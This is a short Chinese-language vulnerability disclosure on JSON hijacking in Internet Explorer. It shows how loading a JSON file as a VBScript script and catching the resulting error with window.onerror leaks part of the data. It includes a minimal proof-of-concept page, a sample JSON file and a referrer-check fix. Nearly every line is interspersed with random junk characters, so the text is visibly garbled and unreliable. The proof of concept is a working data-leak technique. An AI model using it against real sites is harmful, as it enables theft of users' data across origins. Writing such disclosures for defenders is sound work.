简要描述:
e- `: h& I* q4 _# \) e& E. F1 L6 p. y) W) W. e6 h
由于某些资源容器对数据处理不当导致json劫持漏洞., o9 h- K8 ~2 H
详细说明:
! |' @5 N _. E" j6 P" C+ ?: M由于ie支持vbscript,所以script元素可以指定成vbscript语言:+ H9 G: P5 i8 x. C
<script language=vbscript></script>
$ H) M/ D" D0 N% a s, Q7 E3 h8 N% w
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
- I- T' }: h" ~, C! O( t漏洞证明:$ \( J) q" }( P) Q+ `0 H) M
<script>& R/ r8 b4 v: T2 ^6 h6 Y8 m
window.onerror=function(_){. n) M4 Y% ~4 k. @
alert(_)
( r* w% m1 G; E1 c. B7 F5 p}
- }5 `1 y* Q/ Y2 D" H. Z6 S</script>6 r: i; J( H. B6 m! M
<script language=vbscript src=1.json></script>
y) W6 Q% ^& b / U2 s, V& D L' b5 L1 |
9 O: _# h9 R* x- r. P$ I1.json:8 |" {+ S1 B( o B, t& W) U/ x- r
[{"name":"sogili","age":19}]
% h: }: q3 x: u1 r }修复方案:
& Z# L% C# d3 M, f! D. C8 S8 [/ @网站业务对于这个问题可以通过验证referrer是否为同源来防御 |